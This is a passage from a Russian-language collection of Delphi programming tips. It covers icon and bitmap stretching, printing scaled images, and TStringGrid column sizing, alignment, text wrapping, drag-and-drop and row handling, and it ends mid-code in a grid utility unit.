Автор: Bill StretchDraw не работает с иконками. В данной ситуации я бы поступил так: рисовал бы иконку в Timage и затем назначал изображение другому, большему Timage.Пример кода:
procedure TForm1.StringGrid1Click(Sender: TObject);
begin
Image1.Canvas.FillRect(Image1.Canvas.ClipRect);
Image1.Canvas.Draw(0, 0,
TIcon(StringGrid1.Objects
[StringGrid1.Col, StringGrid1.Row]));
Form2.Image1.Picture := Image1.Picture;
end;
{Примечание. Form2.Image1 имеет Stretch установленный
в True и размер, бОльший размера иконки в 4 раза}
|
Предложенный способ не работает, ибо компонента TImage использует тот же метод StretchDraw, что и спрашивающий. Растянуть иконку можно так:
procedure TForm1.Button1Click(Sender: TObject); var Bmp: TBitMap; begin Bmp:= TBitMap.Create; Bmp.Height:= GetSystemMetrics(SM_CYICON); Bmp.Width:= GetSystemMetrics(SM_CXICON); Bmp.Canvas.Draw(0,0, Image1.Picture.Icon); Image1.Picture.Bitmap:= Bmp; Bmp.Free; end; |
Есть более человечный способ, чем просто рисовать в Image: функция DrawIconEx Win32 API:
procedure TForm1.Button1Click(Sender: TObject);
begin
DrawIconEx(Canvas.Handle, 5, 5, LoadIcon(0, IDI_APPLICATION),
16, 32, 0, 0, DI_NORMAL);
end;
|
Кстати, думаю, людям будет полезно знать по подробнее о DrawIconEx: Рисует иконку или курсор в соответствии с заданными занчениями.
function DrawIconEx(hdc: HDC; xLeft, yTop: Integer; hIcon: HICON; cxWidth, cyWidth: Integer; istepIfAniCur: UINT; hbrFlickerFreeDraw: HBRUSH; diFlags: UINT): BOOL; stdcall; |
hdc - контекст устройства (TCanvas.Handle) xLeft, yTop - координаты левого верхнего угла hIcon - дескриптор объекта Windows - Icon cxWidth, cyWidth - размеры istepIfAniCur - (!) номер отображаемого кадра в анимированном курсоре hbrFlickerFreeDraw - кисть diFlags - сумма след. занчений: DI_COMPAT - буду благодарен, если объясните DI_DEFAULTSIZE - если cxWidth, cyWidth равны 0, рисует в default размере DI_IMAGE - применяет одну часть кисти DI_MASK - применяет другую часть кисти DI_NORMAL = DI_IMAGE and DI_MASK - применяет обе части кисти
Растягивание изображения при печати.
Я пишу программу, которая печатает изображение на принтере с помощью объекта TPrinter. Проблема происходит когда я пытаюсь "растянуть" изображение до требуемого размера на бумаге. Мой метод растяжения (bitblts и принтерном DC) приводит к белым кляксам, а само изображение получается практически серым. Конечно это не то, что мне хотелось. Кто-нибудь может мне помочь?Попробуй это:
procedure DrawImage(Canvas: TCanvas; DestRect: TRect; ABitmap:
TBitmap);
var
Header, Bits: Pointer;
HeaderSize: Integer;
BitsSize: Longint;
begin
GetDIBSizes(ABitmap.Handle, HeaderSize, BitsSize);
Header := MemAlloc(HeaderSize);
Bits := MemAlloc(BitsSize);
try
GetDIB(ABitmap.Handle, ABitmap.Palette, Header^, Bits^);
StretchDIBits(Canvas.Handle, DestRect.Left, DestRect.Top,
DestRect.Right, DestRect.Bottom,
0, 0, ABitmap.Width, ABitmap.Height, Bits, TBitmapInfo(Header^),
DIB_RGB_COLORS, SRCCOPY);
{ вам может понадобиться цветовой стандарт DIB_PAL_COLORS,
но это уже выходит за рамки моих знаний. }
finally
MemFree(Header, HeaderSize);
MemFree(Bits, BitsSize);
end;
end;
{ Печатаем изображение, растягивая его до целого листа }
procedure PrintBitmap(ABitmap: TBitmap);
var
relheight, relwidth: integer;
begin
screen.cursor := crHourglass;
Printer.BeginDoc;
if ((ABitmap.width / ABitmap.height) > l(printer.pagewidth /
printer.pageheight)) then
begin
{ Растягиваем ширину изображения до ширины бумаги }
relwidth := printer.pagewidth;
relheight := MulDiv(ABitmap.height, printer.pagewidth, ABitmap.width);
end
else
begin
{ Растягиваем высоту изображения до высоты бумаги }
relwidth := MulDiv(ABitmap.width, printer.pageheight, ABitmap.height);
relheight := printer.pageheight;
end;
DrawImage(Printer.Canvas, Rect(0, 0, relWidth, relHeight), ABitmap);
Printer.EndDoc;
screen.cursor := crDefault;
end;
|
Авторазмер для StringGrid.
...да, реально это утомляет, но эту проблему можно решить программным путем (это нужно делать после того, как вы загрузите данные, или же, если вы загружаете данные по столбцам, их загружать в самом цикле, приведенном ниже):
var
i, j, temp, max: integer;
begin
for i := 0 to grid.colcount - 1 do
begin
max := 0;
for j := 0 to grid.rowcount - 1 do
begin
temp := grid.canvas.textWidth(grid.cells[i, j]);
if temp > max then
max := temp;
end;
grid.colWidths[i] := max + grid.gridLineWidth + 1;
end;
end;
|
Вероятно, вам необходимо будет добавить +1, чтобы текст не прилипал к границам ячеек.
В StringGrid ширина колонки подгоняется под длину самой длинной строки.
Поскольку в компоненте StringGrid по умолчанию все столбцы имеют одинаковую ширину - в некоторых ячейках текст обрезается. Чтобы этого избежать, после заполнения StringGrid нужно для каждого столбца находить текст максимальной длины и в соответствии с его длиной устанавливать ширину всего столбца.
var
x, y, w: integer;
s: string;
MaxWidth: integer;
begin
with StringGrid1 do
ClientHeight := DefaultRowHeight * RowCount + 5;
with StringGrid1 do
begin
for x := 0 to ColCount - 1 do
begin
MaxWidth := 0;
for y := 0 to RowCount - 1 do
begin
w := Canvas.TextWidth(Cells[x,y]);
if w > MaxWidth then
MaxWidth := w;
end;
ColWidths[x] := MaxWidth + 5;
end;
end;
end;
|
Выравнивание колонок StringGrid.
| Автор: Kurt |
| Два программиста едут в переполненном автобусе. Один - другому: - Что то у меня с писюком! (толпа замирает) - А что с ним? - Да висит часто... - Может вирус какой? - Да проверял, все стерильно... - А висит хорошо? - Крепко, тремя пальцами не поможешь... |
Организуйте обработчик события сетки OnDrawCell. Создайте код обработчика подобный этому:
procedure TForm1.StringGrid1DrawCell(Sender: TObject; Col, Row: Longint;
Rect: TRect; State: TGridDrawState);
var
Txt: array[0..255] of Char;
begin
StrPCopy(Txt, StringGrid1.Cells[Col, Row]);
SetTextAlign(StringGrid1.Canvas.Handle,
GetTextAlign(StringGrid1.Canvas.Handle)
and not (TA_LEFT or TA_CENTER) or TA_RIGHT);
ExtTextOut(StringGrid1.Canvas.Handle, Rect.Right - 2, Rect.Top + 2,
ETO_CLIPPED or ETO_OPAQUE, @Rect, Txt, StrLen(Txt), nil);
end;
|
Успехов.
Выравнивание колонок StringGrid 2.
Нижеприведенный код выравняет данные компонента по правому краю:
procedure TForm1.StringGrid1DrawCell(Sender: TObject; Col, Row:
Longint; Rect: TRect; State: TGridDrawState);
var
lRow, lCol: Longint;
begin
lRow := Row;
lCol := Col;
with Sender as TStringGrid, Canvas do
begin
if (gdSelected in State) then
begin
Brush.Color := clHighlight;
end
else if (gdFixed in State) then
begin
Brush.Color := FixedColor;
end
else
begin
Brush.Color := Color;
end;
FillRect(Rect);
SetBkMode(Handle, TRANSPARENT);
SetTextAlign(Handle, TA_RIGHT);
TextOut(Rect.Right - 2, Rect.Top + 2, Cells[lCol, lRow]);
end;
end;
|
Вы наверное уже обратили внимание на объявление локальных переменных lCol и lRow. На входе я присваиваю им значения параметров Col и Row (имя, которое дало мне Delphi IDE). Дело в том, что объект TStringGrid имеет свойства с именами Col и Row. Эти свойства будут доступны в теле блока "with Sender as TStringGrid", но они не являются параметрами для всех обявленных в шапке блока объектов ((речь идет об объекте Canvas, у которого нет свойств с именами Col и Row - В.О.)).
Выравнивание колонок StringGrid 3.
Вот некоторый код, который делает то, что вы хотите:
procedure WriteText(ACanvas: TCanvas; const ARect: TRect; DX, DY: Integer;
const Text: string; Format: Word);
var
S: array[0..255] of Char;
B, R: TRect;
begin
with ACanvas, ARect do
begin
case Format of
DT_LEFT: ExtTextOut(Handle, Left + DX, Top + DY, ETO_OPAQUE or
ETO_CLIPPED,
@ARect, StrPCopy(S, Text), Length(Text), nil);
DT_RIGHT: ExtTextOut(Handle, Right - TextWidth(Text) - 3, Top + DY,
ETO_OPAQUE or ETO_CLIPPED, @ARect, StrPCopy(S, Text),
Length(Text), nil);
DT_CENTER: ExtTextOut(Handle, Left + (Right - Left - TextWidth(Text)) div
2,
Top + DY, ETO_OPAQUE or ETO_CLIPPED, @ARect,
StrPCopy(S, Text), Length(Text), nil);
end;
end;
end;
procedure TBEFStringGrid.DrawCell(Col, Row: Longint; Rect: TRect; State:
TGridDrawState);
var
procedure Display(const S: string; Alignment: TAlignment);
const
Formats: array[TAlignment] of Word = (DT_LEFT, DT_RIGHT, DT_CENTER);
begin
WriteText(Canvas, Rect, 2, 2, S, Formats[Alignment]);
end;
begin
{ здесь задаем аргументы Col и Row, и форматируем как угодно ячейки }
case Row of
0: { Центрирование заголовков колонок }
if (Col < ColCount) then
Display(Cells[Col, Row], taCenter)
else
{ Все другие данные имеют правое центрирование }
Display(Cells[Col, Row], taRight);
end;
end;
|
Выравнивание колонок StringGrid 4.
Создайте ваш собственный метод drawcell на примере того, что приведен ниже:
procedure Tsearchfrm.Grid1DrawCell(Sender: TObject; Col, Row: Longint;
Rect: TRect; State: TGridDrawState);
var
l_oldalign: word;
begin
if (row = 0) or (col < 2) then
{устанавливаем заголовок в жирном начертании}
grid1.canvas.font.style := grid1.canvas.font.style + [fsbold];
if col <> 1 then
begin
l_oldalign := settextalign(grid1.canvas.handle, ta_right);
{NB использует для рисования правую сторону квадрата}
grid1.canvas.textrect(rect, rect.right - 2, Rect.top + 2, grid1.cells[col,
row]);
settextalign(grid1.canvas.handle, l_oldalign);
end
else
begin
grid1.canvas.textrect(rect, rect.left + 2, rect.top + 2, grid1.cells[col,
row]);
end;
grid1.canvas.font.style := grid1.canvas.font.style - [fsbold];
end;
|
Выравнивание колонок StringGrid 5.
Автор: Pavel Stont.
{
Код компонента для Delphi на основе стандартного TStringGrid.
Компонет позволяет переносить текст в TStringGrid.
В качестве исходного текста был использован компонент TWrapGrid.
Автор Luis J. de la Rosa.
E-mail: delarosa@ix.netcom.com
Вы свободны в использовании, распространении и улучшении кода.
Пожалуйста шлите любые комментарии и пожелания на адрес delarosa@ix.netcom.com.
Далее были внесены изменения в исходный код, а именно добавлены методы вывода
текста:
1. atLeft - Вывод текста по левой границе;
2. atCenter - Вывод текста по центру ячейки (по горизонтали);
3. atRight - Вывод текста по правой границе;
4. atWrapTop - Вывод и перенос текста по словам относительно верхней границы
ячейки;
5. atWrapCenter - Вывод и перенос текста по словам относительно центра ячейки
(по вертикали);
6. atWrapBottom - Вывод и перенос текста по словам относительно нижней границы
ячейки;
Вносил изменения и тестировал в Delphi 3/4/5:
Автор Pavel Stont.
E-mail: pavel_stont@mail.ru.
Никаких ограничений на использование, распростанение и улучшение кода не налогаются.
Буду очень признателен, если о всех замеченных неполадках сообщите по e-mail.
Для использования:
Выберите в Delphi пункты меню 'Options' - 'Install Components'.
Нажмите 'Add'.
Найдите и выберите файл с именем 'NewStringGrid.pas'.
Нажмите 'OK'.
После этого вы увидете компонент во вкладке "Other" палитры компонентов
Delphi.
После этого вы можете использовать компонент вместо стандартного TStringGrid.
Успехов!
Несколько дополнительных замечаний по коду:
1. Методы Create и DrawCell были перекрыты.
2. Введены два новых свойства, а именно AlignText и AlignCaption соответсвенно методы
выравнивания текста в ячейках данных (обычно - белого цвета) и в фиксированных ячейках
(обычно - серого цвета).
3. Свойство Center - центрация текста по горизонтали независимо от метода.
}
unit NewStringGrid;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Grids;
type
TAlignText = (atLeft, atCenter, atRight, atWrapTop, atWrapCenter,
atWrapBottom);
type
TNewStringGrid = class(TStringGrid)
private
{ Private declarations }
FAlignText: TAlignText;
FAlignCaption: TAlignText;
FCenter: Boolean;
procedure SetAlignText(Value: TAlignText);
procedure SetAlignCaption(Value: TAlignText);
procedure SetCenter(Value: Boolean);
protected
{ Protected declarations }
procedure DrawCell(ACol, ARow: Longint; ARect: TRect;
AState: TGridDrawState); override;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
published
{ Published declarations }
property AlignText: TAlignText read FAlignText write SetAlignText;
property AlignCaption: TAlignText read FAlignCaption write SetAlignCaption;
property Center: Boolean read FCenter write SetCenter;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Other', [TNewStringGrid]);
end;
{ TNewStringGrid }
constructor TNewStringGrid.Create(AOwner: TComponent);
begin
{ Создаем TStringGrid }
inherited Create(AOwner);
{ Задаем начальные параметры компонента }
AlignText := atLeft;
AlignCaption := atCenter;
Center := False;
DefaultColWidth := 80;
DefaultRowHeight := 18;
Height := 100;
Width := 408;
{ Заставляем компонент перерисовываться нашей процедурой
по умолчанию DrawCell }
DefaultDrawing := FALSE;
end;
{ Процедура DrawCell осуществляет перенос текста в ячейке }
procedure TNewStringGrid.DrawCell(ACol, ARow: Integer; ARect: TRect;
AState: TGridDrawState);
var
CountI, { Счетчик }
CountWord: Integer; { Счетчик }
Sentence, { Выводимый текст }
CurWord: string; { Текущее выводимое слово }
SpacePos, { Позиция первого пробела }
CurXDef, { X-координата 'курсора' по умолчанию }
CurYDef, { Y-координата 'курсора' по умолчанию }
CurX, { Х-координата 'курсора' }
CurY: Integer; { Y-координата 'курсора' }
EndOfSentence: Boolean; { Величина, указывающая на заполненность ячейки }
Alig: TAlignText; { Тип выравнивания текста }
ColPen: TColor; { Цвет карандаша по умолчанию }
MassWord: array[0..255] of string;
MassCurX, MassCurY: array[0..255] of Integer;
LengthText: Integer; { Длина текущей строки }
MassCurYDef: Integer;
MeanCurY: Integer;
procedure VisualCanvas;
begin
{ Прорисовываем ячейку и придаем ей 3D-вид }
with Canvas do
begin
{ Запоминаем цвет пера для последующего вывода текста }
ColPen := Pen.Color;
if gdFixed in AState then
begin
Pen.Color := clWhite;
MoveTo(ARect.Left, ARect.Top);
LineTo(ARect.Left, ARect.Bottom);
MoveTo(ARect.Left, ARect.Top);
LineTo(ARect.Right, ARect.Top);
Pen.Color := clBlack;
MoveTo(ARect.Left, ARect.Bottom);
LineTo(ARect.Right, ARect.Bottom);
MoveTo(ARect.Right, ARect.Top);
LineTo(ARect.Right, ARect.Bottom);
end;
{ Восстанавливаем цвет пера }
Pen.Color := ColPen;
end;
end;
procedure VisualBox;
begin
{ Инициализируем шрифт, чтобы он был управляющим шрифтом }
Canvas.Font := Font;
with Canvas do
begin
{ Если это фиксированная ячейка, тогда используем фиксированный цвет }
if gdFixed in AState then
begin
Pen.Color := FixedColor;
Brush.Color := FixedColor;
end
{ в противном случае используем нормальный цвет }
else
begin
Pen.Color := Color;
Brush.Color := Color;
end;
{ Рисуем подложку цветом ячейки }
Rectangle(ARect.Left, ARect.Top, ARect.Right, ARect.Bottom);
end;
end;
procedure VisualText(Alig: TAlignText);
begin
case Alig of
atLeft:
begin
with Canvas do
{ выводим текст }
TextOut(CurX, CurY, Sentence);
VisualCanvas;
end;
atRight:
begin
with Canvas do
{ выводим текст }
TextOut(ARect.Right - TextWidth(Sentence) - 2, CurY, Sentence);
VisualCanvas;
end;
atCenter:
begin
with Canvas do
{ выводим текст }
TextOut(ARect.Left + ((ARect.Right - ARect.Left -
TextWidth(Sentence)) div 2), CurY, Sentence);
VisualCanvas;
end;
atWrapTop:
begin
{ для каждого слова ячейки }
EndOfSentence := FALSE;
CountI := 0;
while CountI <= SpacePos do
begin
MassWord[CountI] := '';
CountI := CountI + 1;
end;
CountI := 0;
CountWord := CurY;
while (not EndOfSentence) do
begin
{ для получения следующего слова ищем пробел }
SpacePos := Pos(' ', Sentence);
if SpacePos > 0 then
begin
{ получаем текущее слово плюс пробел }
CurWord := Copy(Sentence, 0, SpacePos);
{ получаем остальную часть предложения }
Sentence := Copy(Sentence, SpacePos + 1, Length(Sentence) -
SpacePos);
end
else
begin
{ это - последнее слово в предложении }
EndOfSentence := TRUE;
CurWord := Sentence;
end;
with Canvas do
begin
{ если текст выходит за границы ячейки }
LengthText := TextWidth(CurWord) + CurX + 2;
if LengthText > ARect.Right then
begin
{ переносим на следующую строку }
CurY := CurY + TextHeight(CurWord);
CurX := CurXDef + 2;
end;
if CountWord <> CurY then
CountI := CountI + 1;
MassWord[CountI] := MassWord[CountI] + CurWord;
{ увеличиваем X-координату курсора }
CurX := CurX + TextWidth(CurWord);
CountWord := CurY;
end;
end;
with Canvas do
begin
CountWord := 0;
CurY := CurYDef + 2;
CurX := CurXDef + 2;
while CountWord <= CountI do
begin
case Center of
True:
begin
CurWord := MassWord[CountWord];
if Copy(CurWord, Length(CurWord) - 1, 1) = ' ' then
MassWord[CountWord] := Copy(CurWord, 0, Length(CurWord) -
1);
MassCurX[CountWord] := ARect.Left + ((ARect.Right -
ARect.Left - TextWidth(MassWord[CountWord])) div 2);
MassWord[CountWord] := CurWord;
end;
False: MassCurX[CountWord] := CurX;
end;
MassCurY[CountWord] := CurY;
{ выводим слово }
TextOut(MassCurX[CountWord], MassCurY[CountWord],
MassWord[CountWord]);
CurY := CurY + TextHeight(MassWord[CountWord]);
CountWord := CountWord + 1;
end;
end;
VisualCanvas;
end;
atWrapCenter:
begin
{ для каждого слова ячейки }
EndOfSentence := FALSE;
CountI := 0;
while CountI <= SpacePos do
begin
MassWord[CountI] := '';
CountI := CountI + 1;
end;
CountI := 0;
CountWord := CurY;
while (not EndOfSentence) do
begin
{ для получения следующего слова ищем пробел }
SpacePos := Pos(' ', Sentence);
if SpacePos > 0 then
begin
{ получаем текущее слово плюс пробел }
CurWord := Copy(Sentence, 0, SpacePos);
{ получаем остальную часть предложения }
Sentence := Copy(Sentence, SpacePos + 1, Length(Sentence) -
SpacePos);
end
else
begin
{ это - последнее слово в предложении }
EndOfSentence := TRUE;
CurWord := Sentence;
end;
with Canvas do
begin
{ если текст выходит за границы ячейки }
LengthText := TextWidth(CurWord) + CurX + 2;
if LengthText > ARect.Right then
begin
{ переносим на следующую строку }
CurY := CurY + TextHeight(CurWord);
CurX := CurXDef + 2;
end;
if CountWord <> CurY then
CountI := CountI + 1;
MassWord[CountI] := MassWord[CountI] + CurWord;
{ увеличиваем X-координату курсора }
CurX := CurX + TextWidth(CurWord);
CountWord := CurY;
end;
end;
with Canvas do
begin
CountWord := 0;
CurX := CurXDef + 2;
while CountWord <= CountI do
begin
case Center of
True:
begin
CurWord := MassWord[CountWord];
if Copy(CurWord, Length(CurWord) - 1, 1) = ' ' then
MassWord[CountWord] := Copy(CurWord, 0, Length(CurWord) -
1);
MassCurX[CountWord] := ARect.Left + ((ARect.Right -
ARect.Left - TextWidth(MassWord[CountWord])) div 2);
MassWord[CountWord] := CurWord;
end;
False: MassCurX[CountWord] := CurX;
end;
MassCurY[CountWord] := TextHeight(MassWord[CountWord]);
CountWord := CountWord + 1;
end;
CountWord := 0;
MassCurYDef := 0;
while CountWord <= CountI do
begin
MassCurYDef := MassCurYDef + MassCurY[CountWord];
CountWord := CountWord + 1;
end;
MassCurYDef := (ARect.Bottom - ARect.Top - MassCurYDef) div 2;
CountWord := 0;
MeanCurY := 0;
while CountWord <= CountI do
begin
MassCurY[CountWord] := ARect.Top + MeanCurY + MassCurYDef;
MeanCurY := MeanCurY + TextHeight(MassWord[CountWord]);
CountWord := CountWord + 1;
end;
CountWord := -1;
while CountWord <= CountI do
begin
CountWord := CountWord + 1;
if MassCurY[CountWord] < (ARect.Top + 2) then
Continue;
{ выводим слово }
TextOut(MassCurX[CountWord], MassCurY[CountWord],
MassWord[CountWord]);
end;
end;
VisualCanvas;
end;
atWrapBottom:
begin
{ для каждого слова ячейки }
EndOfSentence := FALSE;
CountI := 0;
while CountI <= SpacePos do
begin
MassWord[CountI] := '';
CountI := CountI + 1;
end;
CountI := 0;
CountWord := CurY;
while (not EndOfSentence) do
begin
{ для получения следующего слова ищем пробел }
SpacePos := Pos(' ', Sentence);
if SpacePos > 0 then
begin
{ получаем текущее слово плюс пробел }
CurWord := Copy(Sentence, 0, SpacePos);
{ получаем остальную часть предложения }
Sentence := Copy(Sentence, SpacePos + 1, Length(Sentence) -
SpacePos);
end
else
begin
{ это - последнее слово в предложении }
EndOfSentence := TRUE;
CurWord := Sentence;
end;
with Canvas do
begin
{ если текст выходит за границы ячейки }
LengthText := TextWidth(CurWord) + CurX + 2;
if LengthText > ARect.Right then
begin
{ переносим на следующую строку }
CurY := CurY + TextHeight(CurWord);
CurX := CurXDef + 2;
end;
if CountWord <> CurY then
CountI := CountI + 1;
MassWord[CountI] := MassWord[CountI] + CurWord;
{ увеличиваем X-координату курсора }
CurX := CurX + TextWidth(CurWord);
CountWord := CurY;
end;
end;
with Canvas do
begin
CountWord := 0;
CurX := CurXDef + 2;
while CountWord <= CountI do
begin
case Center of
True:
begin
CurWord := MassWord[CountWord];
if Copy(CurWord, Length(CurWord) - 1, 1) = ' ' then
MassWord[CountWord] := Copy(CurWord, 0, Length(CurWord) -
1);
MassCurX[CountWord] := ARect.Left + ((ARect.Right -
ARect.Left - TextWidth(MassWord[CountWord])) div 2);
MassWord[CountWord] := CurWord;
end;
False: MassCurX[CountWord] := CurX;
end;
MassCurY[CountWord] := TextHeight(MassWord[CountWord]);
CountWord := CountWord + 1;
end;
CountWord := 0;
MassCurYDef := 0;
while CountWord <= CountI do
begin
MassCurYDef := MassCurYDef + MassCurY[CountWord];
CountWord := CountWord + 1;
end;
MassCurYDef := ARect.Bottom - MassCurYDef - 2;
CountWord := 0;
MeanCurY := -MassCurY[CountWord];
while CountWord <= CountI do
begin
MeanCurY := MeanCurY + MassCurY[CountWord];
MassCurY[CountWord] := MassCurYDef + MeanCurY;
CountWord := CountWord + 1;
end;
CountWord := -1;
while CountWord <= CountI do
begin
CountWord := CountWord + 1;
if MassCurY[CountWord] < (ARect.Top + 2) then
Continue;
{ выводим слово }
TextOut(MassCurX[CountWord], MassCurY[CountWord],
MassWord[CountWord]);
end;
end;
VisualCanvas;
end;
end;
end;
begin
VisualBox;
VisualCanvas;
{ Начинаем рисование с верхнего левого угла ячейки }
CurXDef := ARect.Left;
CurYDef := ARect.Top;
CurX := CurXDef + 2;
CurY := CurYDef + 2;
{ Здесь мы получаем содержание ячейки }
Sentence := Cells[ACol, ARow];
{ Если ячейка пуста выходим из процедуры }
if Sentence = '' then
Exit;
{ Проверяем длину строки (не более 256 символов) }
if Length(Sentence) > 256 then
begin
MessageBox(0, 'Число символов не должно быть более 256.',
'Ошибка в таблице', mb_OK);
Cells[ACol, ARow] := '';
Exit;
end;
{ Узнаем сколько в предложении слов и задаем размерность массивов }
SpacePos := Pos(' ', Sentence);
{ Узнаем тип выравнивания текста }
if gdFixed in AState then
Alig := AlignCaption
else
Alig := AlignText;
VisualText(Alig);
end;
procedure TNewStringGrid.SetAlignCaption(Value: TAlignText);
begin
if Value <> FAlignCaption then
FAlignCaption := Value;
end;
procedure TNewStringGrid.SetAlignText(Value: TAlignText);
begin
if Value <> FAlignText then
FAlignText := Value;
end;
procedure TNewStringGrid.SetCenter(Value: Boolean);
begin
if Value <> FCenter then
FCenter := Value;
end;
end.
|
Авторазмер ширины колонок TStringGrid.
Автор: Neil J. Rubenking Я использую компонент StringGrid и хотел бы менять ширину его колонок в соответствии с расположенным в них текстом, другими словами я хочу чтобы весь текст в них был виден, но как это сделать?Попробуйте это:
procedure TForm1.StringGrid1SelectCell(Sender: TObject; vCol,
vRow: Longint; var CanSelect: Boolean);
var
Wid: Integer;
begin
with Sender as TStringGrid do
begin
Wid := Canvas.TextWidth(Cells[Col, Row] + ' ');
if Wid > ColWidths[Col] then
ColWidths[Col] := Wid;
end;
end;
procedure TForm1.StringGrid1KeyPress(Sender: TObject; var Key: Char);
var
Wid: Integer;
begin
if Key = #13 then
with Sender as TStringGrid do
begin
Wid := Canvas.TextWidth(Cells[Col, Row] + ' ');
if Wid > ColWidths[Col] then
ColWidths[Col] := Wid;
end;
end;
|
Имейте в виду, что в обработчике события OnSelectCell я переименовал параметры Col и Row на vCol и vRow, чтобы избежать путаницы со свойствами StringGrid, имеющими те же имена. StringGrid c данными методами всегда расширяет данную колонку, если вновь добавляемая строка имеет ширину большую чем текущая ширина колонки.
Как перетащить целую колонку из StringGrid в ListBox.
В Object Inspector установите свойство dragmode у StringGrid в dmAutomatic.Ниже приведён полный код:
type
TForm1 = class(TForm)
StringGrid1: TStringGrid;
ListBox1: TListBox;
procedure ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
procedure ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
procedure FormCreate(Sender: TObject);
procedure StringGrid1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
procedure StringGrid1DragDrop(Sender, Source: TObject; X, Y: Integer);
private
{ Private declarations }
XMouseCord: Integer;
StartDrag: Boolean;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.ListBox1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
Accept := Source is TStringGrid;
end;
procedure TForm1.ListBox1DragDrop(Sender, Source: TObject; X, Y: Integer);
var
i: integer;
ColumVal, CurrentCol: Integer;
begin
if Source is TStringGrid then
begin
//Вычисляем колонку
ColumVal := 0;
CurrentCol := 0;
for i := 0 to TStringGrid(Source).ColCount - 1 do
begin
ColumVal := ColumVal + TStringGrid(Source).ColWidths[i];
if XMouseCord <= ColumVal then
begin
CurrentCol := i;
break;
end;
end;
//Убеждаемся, что это не первая колонка, которая не содержит данных
if CurrentCol <> 0 then
begin
for i := 1 to TStringGrid(Source).RowCount - 1 do
begin
ListBox1.items.Add(TStringGrid(Source).Cells[CurrentCol, i]);
end;
end;
StartDrag := True;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
//Для демонстрационных целей
with StringGrid1 do
begin
Cells[1, 1] := 'T1';
Cells[1, 2] := 'T2';
Cells[1, 3] := 'T3';
Cells[1, 4] := 'T4';
Cells[2, 1] := 'T5';
Cells[2, 2] := 'T6';
Cells[2, 3] := 'T7';
Cells[2, 4] := 'T8';
Cells[3, 1] := 'T9';
Cells[3, 2] := 'T10';
Cells[3, 3] := 'T11';
Cells[3, 4] := 'T12';
Cells[4, 1] := 'T13';
Cells[4, 2] := 'T14';
Cells[4, 3] := 'T15';
Cells[4, 4] := 'T16';
end;
StartDrag := True;
end;
procedure TForm1.StringGrid1DragOver(Sender, Source: TObject; X,
Y: Integer; State: TDragState; var Accept: Boolean);
begin
//Сохраняем колонку, когда начинается перетаскивание.
if StartDrag then
begin
XMouseCord := X;
StartDrag := False;
end;
end;
procedure TForm1.StringGrid1DragDrop(Sender, Source: TObject; X,
Y: Integer);
begin
//В данном случае помещаем е¸ на грид
StartDrag := True;
end;
|
Как удалить выделенную запись из TStringGrid.
Автор: MBo.
procedure TForm1.Button3Click(Sender: TObject);
var
i,j: Integer;
begin
j:=SG1.Row; // строка с выделением
SG1.Rows[j].Clear;
for i:=j to SG1.RowCount-2 do
SG1.Rows[i].Assign(SG1.Rows[i+1]);
SG1.RowCount:=SG1.RowCount-1;
end;
|
Цвет неактивной ячейки StringGrid.

...если я щелкаю на любой ячейке StringGrid2, последняя выбранная ячейка в StringGrid1 становится синей...
Создайте обработчик (если он отсутствует) события сетки OnDrawCell и включите в него следующий код:
procedure TForm1.StringGrid3DrawCell(Sender: TObject; vCol,
vRow: Longint; Rect: TRect; State: TGridDrawState);
begin
if Sender = ActiveControl then
Exit;
if not (gdSelected in State) then
Exit;
with Sender as TStringGrid do
begin
Canvas.Brush.Color := Color;
Canvas.Font.Color := Font.Color;
Canvas.TextRect(Rect, Rect.Left + 2, Rect.Top + 2,
Cells[vCol, vRow]);
end;
end;
|
Имейте в виду, что в обработчике события OnDrawCell я переименовал параметры Col и Row на vCol и vRow, чтобы избежать путаницы со свойствами StringGrid, имеющими те же имена. Данный метод выполняется немедленно после того, как сетка становится неактивной, и после того как запрошенная ячейка становится НЕвыбранной. В любом из этих случаев вы должны нарисовать невыбранную ячейку для НЕАКТИВНОЙ сетки - т.е. в тех случаях, когда у вас получается "неправильный" цвет. Вы просто берете работу Delphi по закрашиванию ячеек на себя, пропуская defaultDrawing (отрисовку по умолчанию), для таких ячеек, но в то же время разрешая Delphi поработать за вас во всех остальных случаях.
После первого щелчка начать редактировать.
Автор: Rick RogersВключите goAlwaysShowEditor в свойство TStringGrid Options.
Вставка и удаление строк в StringGrid.
Автор: Dennis Passmore ...я не нашел никаких методов для вставки и удаления строк... Поскольку свойство Cols[x] компонента TStringGrid реально является компонентом TStrings, все методы TStrings применимы также и к Cols[x].Недавно в интернете я нашел реализацию расширенных функций TStringGrid:
(*
Создано: Dennis Passmore
1929 Mango Tree Drive
Edgewater, Fl. 32141
CIS: 71640,2464
Март 1, 1996
Данный код свободен в использовании при одном условии:
в исходном коде должна присутствовать указанная выше кредитка
со ссылкой на автора.
Примечание по использованию кода:
Всякий раз при удалении Row (строки) или Column (колонки)
проверяйте наличие и удаляйте любые объекты, которые могли
быть назначены любой ячейке в строке или колонке, которые вы
собираетесь удалять, поскольку данный код не может знать ни
размера, ни типа ассигнованных ими объектов.
*)
unit GridFunc;
interface
uses
Sysutils, WinProcs, Grids;
procedure InsertRow(Sender: TStringGrid; ToIndex: Longint);
procedure DeleteRow(Sender: TStringGrid; FromIndex: Longint);
procedure InsertColumn(Sender: TStringGrid; ToIndex: Longint);
procedure DeleteColumn(Sender: TStringGrid; FromIndex: Longint);
implementation
type
TCSGrid = class(TStringGrid)
private
public
procedure MoveRow(FromIndex, ToIndex: Longint);
procedure MoveColumn(FromIndex, ToIndex: Longint);
end;
procedure TCSGrid.MoveRow(FromIndex, ToIndex: Longint);
begin
RowMoved(FromIndex, ToIndex); { Защищенный метод TStringGrid }
end;
procedure TCSGrid.MoveColumn(FromIndex, ToIndex: Longint);
begin
ColumnMoved(FromIndex, ToIndex); { Защищенный метод TStringGrid }
end;
procedure InsertRow(Sender: TStringGrid; ToIndex: Longint);
var
xx, yy: Integer;
begin
if ToIndex >= 0 then
with TCSGrid(Sender) do
